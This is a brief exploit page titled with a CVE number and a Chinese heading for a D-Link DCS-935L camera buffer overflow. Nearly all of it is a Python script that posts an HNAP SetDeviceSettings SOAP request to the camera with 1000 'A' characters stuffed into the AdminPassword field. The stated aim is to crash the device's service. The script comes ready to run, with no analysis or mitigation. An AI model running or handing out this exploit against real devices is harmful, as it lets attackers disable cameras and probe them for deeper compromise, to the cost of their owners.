CVE-2026-8260 D-Link DCS-935L缓冲区溢出漏洞

import requests # Target IP address of the vulnerable device TARGET_IP = "192.168.1.100" URL = f"http://{TARGET_IP}/HNAP1/" # Headers required for HNAP SOAP request headers = { "Content-Type": "text/xml; charset=utf-8", "SOAPAction": "http://purenetworks.com/HNAP1/SetDeviceSettings" } # Payload generation to trigger buffer overflow # Sending 1000 bytes of 'A' to crash the service buffer = "A" * 1000 # SOAP body structure targeting the vulnerable function payload = f"""<?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <SetDeviceSettings xmlns="http://purenetworks.com/HNAP1/"> <AdminPassword>{buffer}</AdminPassword> </SetDeviceSettings> </soap:Body> </soap:Envelope>""" try: # Send the malicious request response = requests.post(URL, data=payload, headers=headers, timeout=5) print(f"Status Code: {response.status_code}") print("Payload sent. Check if the device service has crashed.") except Exception as e: print(f"Error: {e}")